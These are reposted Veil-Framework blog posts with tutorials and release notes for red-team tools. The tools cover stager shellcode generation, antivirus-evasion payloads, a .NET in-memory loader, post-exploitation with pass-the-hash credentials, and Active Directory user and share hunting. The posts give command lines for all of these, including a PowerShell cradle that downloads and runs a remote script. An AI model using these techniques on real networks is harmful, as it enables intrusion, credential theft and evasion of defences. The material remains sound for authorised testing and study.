Veil – Framework

Posted on Posted in Tutorial's

Veil-Ordnance – Fast Stager Shellcode Generation

Generating shellcode is a task that nearly all pen testers have to do at some point, unless they write their own shellcode.  The typical way of generating shellcode consists of using msfvenom, or the combination of msfpayload and msfencode.  Both of these methods can easily generate shellcode for the payload of your choice, and you can invoke shellcode encoders, if necessary, to avoid bad characters.


veil1

Since its release, Veil-Evasion has always relied on msfvenom for generating the shellcode withinVeil-Evasion payloads.  Leveraging another tool’s capabilities has allowed us to rely on the Metasploit Framework to handle the shellcode generation without requiring too much effort on our end.  However, this has also caused some issues.  On two separate instances, updates to msfvenom’s output has caused Veil-Evasion to “break” by creating invalid/non-working payloads.  This is because Veil-Evasion is parsing the msfvenom output.  In the event that the msfvenom output changes, then our ability to parse it typically breaks, and requires a patch on our end.  Will Schroeder (@harmj0y), Mike Wright (@themightyshiv), and myself (@ChrisTruncer

Jon Yates (@redbeardsec) made a significant contribution by diving into the Metasploit source code to understand how the base MSF shellcode is generated.  He helped catch me up to speed with everything he had learned, and really was a huge asset in writing Veil-Ordnance.  Armed with what I needed to know thanks to Jon, I started writing a small POC that would generate shellcode for a few different payloads.  I selected a few of the more “popular” payloads to support for the initial release, and added them into Ordnance.  However, the tool would require at least one encoder for use, and Justin Warner (@sixdub) graciously created a single byte xor encoder, and said I was free to add it in to Ordnace.  With six different payloads, a single encoder, and a good amount of QA time, I’m happy to push out the initial release of Veil-Ordnance.

Github Link: https://github.com/Veil-Framework/Veil-Ordnance

CLI Options

NOTE: One MAJOR point to note here, is that Ordnance is a pure port of Metasploit’s stagers within the Metasploit Framework.  We did not write these stagers, they were ported from Ruby into Python, and added to Ordnance.  The Metasploit Framework developers are the guys who deserve full credit for creating these payloads.

Ordnance has multiple features that I find helpful:

  • Instant generation of the stager shellcode
    • reverse_tcp
    • bind_tcp
    • reverse_http
    • reverse_https
    • reverse_tcp_dns
    • reverse_tcp_all_ports
  • An encoder is available for removal of most bad characters
  • The default Ordnance output will always remain the same
    • By default, only the shellcode is returned to the console
    • With extra flags, the user can obtain the shellcode “metadata” (size, xor key, etc.)

Ordnance is used by passing parameters to it via the command line.  Ordnance’s command line parameters are:

  • -p – payload type (rev_tcp, bind_tcp, rev_http, rev_https, rev_tcp_dns, rev_tcp_all_ports)
  • –ip – IP address (or domain) to connect to for reverse payloads
  • –port – Port number to connect to, or listen on
  • -e – Encoder to use when encoding shellcode
  • -b – Bad character(s) to avoid within the shellcode (\x00\x0a)
  • –print-stats – Prints the extra “metadata” about the generated shellcode
  • –list-payloads – lists all currently available payloads
  • –list-encoders – lists all currently available encoders

To use Ordnance to generate reverse tcp stager shellcode, you could use the following command:

./Veil-Ordnance.py -p rev_tcp --ip 192.168.63.149 --port 8675

rev_tcp

This will output reverse tcp stager shellcode which can be copied and pasted for use.  If you wanted to use Ordnance to generate reverse https stager shellcode, avoid the use of “\x00″ and “\x0a”, and see the length of the generated shellcode, you could use the following command:

./Veil-Ordnance.py -p rev_https --ip 192.168.63.149 --port 443 -e xor -b \x00\x0a --print-stats

https stats

Assuming the encoder does not run into any character encoding issues, Ordnance would output the stats about the shellcode generated, and then the shellcode itself.

I would love to call upon to community to help add one or two more encoders into Ordnance.  The more encoders, the better to try to help ensure all bad characters could be avoided if necessary.

If anyone has any questions about how to use Veil-Ordnance, please feel free to get in touch with us on twitter (@veilframework), hop on IRC in #veil, or hit us up on Github!  If anyone finds any bugs, please let us know!  Opening an issue on Github lets us easily track problems!  Thanks, and we hope that this can help!

Honor Amongst Thieves – Building Trust in Veil-Evasion Payloads

Anytime that a professional pen tester, or red teamer, uses a tool on an assessment, your customer is trusting you to not introduce additional vulnerabilities into their network.  When you create a backdoor through Veil-Evasion, or any other payload generator, you need to be sure that the payload you are creating connects back to you and only you.  So how can you ensure that the payloads generated by Veil-Evasion only connects to where it is explicitly specified to connect to?  One way would be to perform a complete source code review of Veil-Evasion and perform an environmental analysis of the generated payload.  This method would provide the highest level of assurance.

There is also another way.  There are a number of scripts that can be used to extract the Python source code from a PyInstaller executable.  One such script is called PyInstaller Extractor and written by extremecoders.  This script will extract all files within the PyInstaller executable, including the Python source code.  We can then compare the extracted Python source code with the source code file that’s created alongside of the PyInstaller executable when using Veil-Evasion.  The two Python source code files will match up and prove that there is not any additional code added inside the “compiled” payload, thus the original source code output can be reviewed and trusted as being the actual source code in the resulting payload.  Ironically, as long as the original source code is reviewed and understood to be non-malicious, then you can trust Veil-Evasion payloads.  So, let’s get along with proving this!

Note: This article only discusses PyInstaller payloads.

First, download the PyInstaller Extractor script and place it in the same directory as your Python payload.  Call the PyInstaller Extractor script and pass the Veil-Evasion payload in as the script’s only option.  The script will now extract the files from the PyInstaller executable.  When you ls you should see the different files that were contained within the payload.

Extracted Payload

In this case, since the payload we are looking at was named veilpayload.exe, the extracted file we are looking for is therefore veilpayload.  The veilpayload file contains the Python code that is carried out when running the original executable.  Now, lets perform a comparison of the source code output from Veil-Evasion, and the extracted source code.

Original Source Code

Original Source Code Output from Veil-Evasion

Extracted Python Code

Extracted Source Code from Veil-Evasion Payload

Performing a quick visual check against the two scripts shows that they are virtually identical outside of small formatting differences and the additional null byte at the end of the extracted source code.  Performing a diff of the two files also verifies this information.

Scripts diffed

In retrospect, this probably should have been among the first few published posts since Veil-Evasion’s initial release.  However, hindsight is always 20/20, so we’re happy we’re able to provide some level of assurance that your Veil-Evasion payloads aren’t backdoored in any way.  Please feel free to follow the steps outlined in this blog post to verify for yourself.  If you have any additional questions, feel free to hit us up on Twitter, Github, E-mail, or on Freenode in #veil!

A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well 🙂

veil_evasion_ruby_compilation

With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:

1
2
3
Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:

veil_evasion_arya

Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that@TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:

ubuntu_evasion_setup1

If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:

ubuntu_evasion_setup2

When you hit this screen, tab over to <Yes> to accept the EULA:

ubuntu_evasion_setup3

And when you his this screen, click Yes to overwrite the existing files:

ubuntu_evasion_setup4

Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :

ubuntu_evasion_setup5

After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.

Searching User Properties with Veil-PowerView

A few months ago, @obscuresec published a post on finding and extracting custom user properties in Active Directory using PowerShell. Veil-PowerView 1.4 added some cmdlets that integrated (read: shamelessly stole 🙂 some of this functionality, and I wanted to briefly cover how to utilize these new methods.

As Chris states in his post, “Since most administrators interact with AD with a MMC snapin, they mistakingly believe that custom fields can’t be viewed by other user“. To enumerate all custom fields from user AD objects with Veil-PowerView, use the Get-UserProperties function:

  • PS C:\> Get-UserProperties

This will dump out all the fields for user objects. If you want to extract out all users/values for a particular field, use the -Properties flag with one or more property names:

  • PS C:\> Get-UserProperties -Properties description,info

If you want to search particular fields for wildcard terms, Invoke-UserFieldSearch will take care of that for you. It defaults to searching the ‘description’ field for ‘*pass*’. If you want to search another field, say for something custom you found from Get-UserProperties, just supply the field and terms you want:

  • PS C:\> Invoke-UserFieldSearch -Field info -Term backup

You’d be surprised as to the information you can find in Active Directory, even from non-privileged/basic user accounts 🙂

Veil-Pillage: A Usage Guide

Veil-Pillage is a modular post-exploitation framework released last month at Defcon. We’ve had some great feedback already, and we wanted to put together a quick usage guide for anyone interested in playing around with its functionality. We also had our first module pull request recently,management/enable_proxy, contributed by byt3bl33d3r. This module will let you manually set the system proxy on a target host or hosts, check it out!

First things first, installation. The best way to pull down the latest version of the Veil-Framework is to first clone down the Veil master project from github:

root@kali:~# git clone https://github.com/Veil-Framework/Veil.git

Then change into the Veil directory and run the update.sh script which will pull down all the project submodules and run all appropriate setups:

root@kali:~/Veil# ./update.sh

If you’re running this on Kali linux, our only officially supported platform at this point, everything should pull down and install correctly. Change into the Veil-Pillage directory and launch ./Veil-Pillage.py. You’ll then be presented with the main menu:

pillage_main_menu

Here you can see the number of modules currently loaded, as well as the common commands available. Now for some basic usage. The first thing you’ll want to do is to give Pillage a set of targets and a set of credentials. This can be done in several ways. You can set targets with a space or comma separated list, an existing target text file, or just with “set targets” for an interactive menu:

pillage_set_targets

Credentials work similarly, with set creds [domain]/user:password or set creds [domain]/user:LM:NTLM. Specifying a creddump file with set creds file.txt works as well:

pillage_set_creds

After you have your target and credential sets worked out, you need to choose a module to execute. List will list all of the modules available. You can select a module with “use #” where # is the number from the list command, or use action/module/… which allows you to tab-complete the loaded module path:

use_tab_complete

This will drop you into the module menu, where you will see a description of the module, required options, and module commands:

enable_rdp_menu

The most common option you’ll see across most modules is “trigger_method”, which controls how the specified action is executed on the target machine. “wmis” will utilize pth-wmis from the passing-the-hash toolkit which doesn’t create a service and is preferable in most situations, “winexe” will utilize pth-winexe and creates a service as well as dropping a binary to disk, and Impacket’s “smbexec” which creates a service but doesn’t drop a binary. What action you choose will depend on the specific situation you’re encountering, but wmis is usually set as the default.

If you want to set a module specific option across ALL modules, setg will set a specific option globally. This command can also be used from the main menu.

Once you have everything set to your liking, the run command will start execution. You’ll be prompted to make sure you want to execute the module, and then everything will kick off. After execution is completed, you’ll get the standard output menu. Status files are output to /root/veil-output/pillage/MODULE/<timestamp>.out. Typing yes will display the output file for the module:

enable_rdp_output

The output file will tell you exactly what action was performed on what host with what credentials. Every module that has any kind of reciprocal cleanup action will automatically produce a cleanup file that’s output to  /root/veil-output/pillage/MODULE/<timestamp>.pc . You can run this file with “cleanup <file>.pc” from the main menu:

enable_rdp_cleanup

There’s also a global cleanup file that keeps track of all cleanup actions for all modules. If you type cleanup on the main menu, it will prompt you to use this global file, which will then cleanup all affected hosts and then reset the cleanup file itself.

A few last things: the UI experience for Veil-Pillage was a major focus in development. Everything that could be tab-completable was made to be so, and reasonable error-handling/checking was built in wherever it made sense. There is also a complete set of command line flags for every possible option and action in Veil-Pillage, something we’ll cover in more depth in a future blog post. Also, whenever you exit Veil-Pillage, through exit, ctrl+c, or if there is some error in execution, the program state is automatically saved to pillage.state. When you start Pillage back up, it will ask you if you want to restore this state file. If you do, your credential and target sets are restored, module options set to their modified values, and you’re thrown right back into the module menu you were operating in.

In case you want to see some more Veil-Pillage functionality demonstrated, the recorded demos given during the Defcon presentation are available here, and Pillage’s README.md contains a bit more information as well. If you encounter any issues or have any module ideas, please submit issues and/or pull requests to Pillage’s github.

August 15th V-Day: Smash and Pillage

We have a two-part release for everyone this V-Day. First, we have two new PowerShell stagers for Veil-Evasion, powershell/meterpreter/rev_http and powershell/meterpreter/rev_https. For some more background on how the reverse_http[s] stagers work, check out the post on the Python versionsof those stagers. As with the other versions of these stagers, we get Beacon compatibility for free as well.

Second, a new tool for the Veil-Framework was released last week at Defcon 22. Veil-Pillage is a modular post-exploitation framework that subsumes Veil-Catapult and implements a ton more features. The slides for the presentation on pillage given at Defcon, “Veil-Pillage: Post-Exploitation 2.0″ are located here on slideshare, and the three recorded demos given during the presentation are available here. Once the video of the presentation is online this post will be updated. We’ll have some posts in the upcoming weeks covering Veil-Pillage’s feature set, modules, use cases and more. We also have a few Pillage module ideas in the pipeline, which will be released on the 1st of each month.

And a big thank you to everyone at Hacker Summer Camp. We have a great time talking to everyone about the Veil-Framework at Blackhat Arsenal (slides here), and the response to the Defcon presentation has been awesome. We appreciate everyone’s support and hope to keep releasing more cool stuff over the next year!

Hunting for Sensitive Data with the Veil-Framework

Data mining available file shares for sensitive data is a staple of red teaming. We’ve found everything from password lists, to full employee directories, salary information, network diagrams and more, all due to network shares with incorrectly configured permissions. Veil-PowerView has a few functions (Invoke-Netview and Invoke-Sharefinder) that have helped us quickly find and explore shares our current user has access to. I’ve talked in the past about using Powershell to triage file servers during engagements, and realized that robust, recursive file listing would make a great addition into PowerView. Those two functions (Invoke-SearchFiles and Invoke-FileFinder) were recently added, and I wanted to demonstrate how this new functionality can help you find sensitive files on the network as quickly as possible.

Invoke-ShareFinder has had its output recently reworked so it spits out any “\\HOST\share    – COMMENT” found, instead of the status output similar to Invoke-Netview. The reason for this is to easily chain together Invoke-ShareFinder and Invoke-FileFinder, while preserving as much information we might want as possible. Here’s how I usually run sharefinder:

  • PS C:\> Invoke-ShareFinder -Ping -CheckShareAccess -Verbose | Out-File -Encoding ascii found_shares.txt

This will query AD for all machine objects, ping each one to ensure the host is up before enumeration, check each found share for read access, and output everything to found_shares.txt. The -Verbose flag gives some status output as it chews through all the retrieved servers, and the output will look something like this:

\\WIN2K8.company.com\MSBuild 	- test
\\WIN2K8.company.com\NETLOGON 	- Logon server share 
\\WIN2K8.company.com\SYSVOL 	- Logon server share 
\\WIN2K8.company.com\test 	- 
\\WIN2K8.company.com\Users 	- User share
\\WINDOWS7.company.com\secret	- don't look here
...snip...

I’ll save off an original copy of the file off for reference, and then will glance over the output, manually trimming out certain shares that seem like they likely won’t be interesting. I can then feed that output file straight into Invoke-FileFinder. This will recursively search given shares for sensitive files:

  • PS C:> Invoke-FileFinder -ShareList .\found_shares.txt -OutFile found_files.csv

This will take the share input list from sharefinder and recursively list each share, filtering for files with ‘*pass*’, ‘*sensitive*’, ‘*admin*’, ‘*secret*’, ‘*login*’, ‘*unattend*.xml’, ‘*.vmdk’, ‘*creds*’, or ‘*credential*’ in the file name. Anything found is then output to a CSV with the full path, owner, last access time, last write time, and length. If I want/need to search for other terms, I’ll use something like this:

  • PS C:> Invoke-FileFinder -ShareList .\found_shares.txt -OutFile found_files.csv -Terms payroll,CEO,…

This will replace the default terms with the wildcarded terms specified. If you want to run Invoke-FileFinder without enumerating shares ahead of time, the following function will query AD for active machines like the rest of PowerView’s Invoke-* cmdlets. It will then enumerate all shares it finds, excluding C$ and ADMIN$ by default (these can be included with the -IncludeC and -IncludeAdmin flags). I still advise running Invoke-ShareFinder first and pruning your results a bit for speed reasons, but kicking off the following command will find everything sensitive it can in the network:

  • PS C:> Invoke-FileFinder -OutFile all_files.csv -Verbose

There are several more flags available, including filters for office documents, last creation/write/access times, etc. Check out Invoke-FileFinder’s function documentation if you’re interested in more of the options:

invoke_filefinder_options2

Happy hunting 🙂

July 15th V-Day

For our V-Day release this month, we have some more PowerShell goodness for everyone. Veil-Evasion v2.10.0, now in the master branch, includes powershell/meterpreter/rev_tcp, a native shellcode-less stager conceptually similar to some of our previous releases. Utilizing similar .dll import functionality as some of our previous modules, and originally drawn from Matthew Graeber’s article on shellcode injection with PowerShell, we can achieve the same native-stager functionality without having to rely on shellcode.

The Backdoor Factory payload within Veil-Evasion, which now uses the Capstone Engine, has also been updated (and just had its own wiki stood up)! Be sure to rerun Veil-Evasion’s ./setup/setup.sh script to install the necessary dependencies for the new BDF version.

We’ve also got a big release coming up next month, with the debut of a newest tool in the Veil-Framework, Veil-Pillage, going down at Defcon. If you’re around at Blackhat, come check out the Veil-Framework presentation at Blackhat Arsenal. We’ll also have two new Veil-Evasion payload modules ready for release on August 15th. And on a sidenote, Veil-PowerView was a part of Powershell Magazine’s security special– be sure to check out the other great articles in the series!

Veil-PowerView: A Usage Guide

[Note: this topic was cross-posted on my personal blog]

Veil-PowerView is a project that was originally prompted by a client who locked down their corporate machines by disabling all “net *” commands for normal users. While building pure Powershell replacements to easily bypass this protection, I began to explore what else could be done with Powershell from a domain and network situational awareness perspective. Being inspired by my boss @davidpmcguire, and drawing on existing work from @mubix, the offensive Powershell community (@obscuresec@mattifestation, and DarkOperator), and the authors of various Metasploit modules like local_admin_search_enum, I began to build more interesting functionality to abuse Windows domains. Now that Veil-PowerView has been tested in multiple, diverse environments and has started to mature a bit, I wanted to put together a quick guide on using some of PowerView’s interesting functionality.

First, some basic usage: to get the most out of PowerView, you need a current Windows workstation with domain credentials. The credentials don’t need to be privileged, as many of the API methods abused by the tool only need basic user access. To load up PowerView, first download the raw powerview.ps1 script to a local location, and then launch Powershell:

  • C:> powershell.exe -nop -exec bypass

Then import the PowerView module with the following:

  • PS C:\> Import-Module [full path to powerview.ps1]

All of the PowerView cmdlets will now be exposed and tab completable (Invoke-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Invoke-Netview -full“. To get a list of all the available functions, check the README.md. Arguments/flags for each cmdles should be tab completable, with something like “Invoke-Netview -[tab]”. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ​”PS C:\> Invoke-Netview | Out-File -Encoding ASCII output.txt” (the -encoding flag is used since since Powershell defaults to Unicode). If you want detailed output for any of the PowerView commands, just add a “-Debug” flag, and if you want status output for any functions that enumerate multiple machines use “-Verbose”.

Now, on to the fun stuff. PowerView provides replaces for almost all Windows net commands, letting you query users, machines, domain controllers, user descriptions, share, sessions, and more. The Get-Net* cmdlets should cover most of your needs. For example, the Get-NetComputers cmdlet will let you search for all systems in the domain, and you can provide wildcard searches for the -HostName, -OperatingSystem, and -ServicePack. If you want to use this find all Windows XP boxes on the domain, run:

  • PS C:\> Get-NetComputers -OperatingSystem *xp*

Since we can search for operating systems and service packs, let’s take this one step further. How about finding all machines likely vulnerable to MS08-067, ping them and return any hosts that are up? There’s a function for that:

  • PS C:\> Invoke-FindVulnSystems -Ping

One of the common things we do on assessments is check for overly permissive file shares that our current user can read. This used to be a pretty manual process, but now we can automate it easily. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, get a list of available shares for each machine using Get-NetShare, exclude PRINT$ and IPC$ from the output, and check if the current user has read access:

  • PS C:\> Invoke-ShareFinder -Ping -ExcludePrint -ExcludeIPC -CheckShareAccess 

Invoke-Netview is a port of Rob Fullers’s netview.exe tool. It uses native Windows API commands to get the sessions, shares, and loggedon users for target machines, often without needing administrative credentials. The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, and wait for a delay of 10 seconds between touching each machine:

  • PS C:\> Invoke-Netview -Ping -ExcludeShares -Delay 10

A really useful thing on an assessment is to know where particular users are logged in. Say you compromise a user that has administrative access to local desktops on a domain. You can use functionality in PowerView to find where high value users (default “Domain Admins”) are logged in, and can even check if you have local admin on the found machines! The following command will query AD for machines using Get-NetComputers, ping each machine to ensure it’s up and responsive, query AD for members of the “Domain Admins” group, and then check if any users currently logged in/have a sessions on a machine match the target user list. Locations where Domain Admins are located are then displayed:

  • PS C:\> Invoke-Userhunter -Ping

If you want to hunt for a specific user or userlist, or use a pre-populated host list instead of querying AD, there are flags for those actions as well:

  • PS C:\> Invoke-UserHunter -UserName “jsmith” -HostList hosts.txt

An even stealthier way to find where target users are located is to find all the file servers mounted by users from their homeDirectory fields, and run a Get-NetSessions command on the found file servers. This will give you a large amount of information on most corporate networks with a minimal amount of traffic! Invoke-StealthUserHunter can automate all of this for you nicely:

  • PS C:\> Invoke-StealthUserhunter -GroupName “Server Admins”

There are plenty of more functions and options in Veil-PowerView than what we covered here: I encourage you to check out PowerView’s README.md as well as the descriptive comments for each cmdlet in the source which detail use cases, arguments and outputs for each function.

If you need to invoke PowerView in a non-interactive context, there are a few additional launching options. If you know the function and arguments you want to run (like Invoke-Netview) you can append the function name to the end of the PowerView file and run it with:

  • C:\> powershell.exe -nop -exec bypass .\powerview.ps1​ > output.txt

You can also run it straight without any script modifications with:

  • C:\> powershell.exe -exec bypass -Command “& {Import-Module .\powerview.ps1; Invoke-Netview | Out-File -Encoding ascii output.txt}”

If you want to invoke everything without touching disk, use something like this:

  • C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mYPUO4′); Invoke-NetView -Ping | Out-File -Encoding ascii netview.txt

There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append the desired function and any arguments (i.e. “Invoke-StealthUserHunter”) to the end of powerview.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.

If you have any questions on PowerView, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, Freednode (harmj0y in #veil or #armitage), submit an issue on the official Github page, or come check out the Veil-Framework at BlackHat Arsenal.

Quelle: Veil-Framework

———————————————————————————————————————————–

AV-Evasion – Part1 – Veil-Framework

AV-Evasion – Part2 – Veil-Framework

AV-Evasion – Part3 – Veil-Framework

AV-Evasion – Part4 – Veil-Framework

AV-Evasion – Part5 – Veil-Framework

Facebooktwittergoogle_plus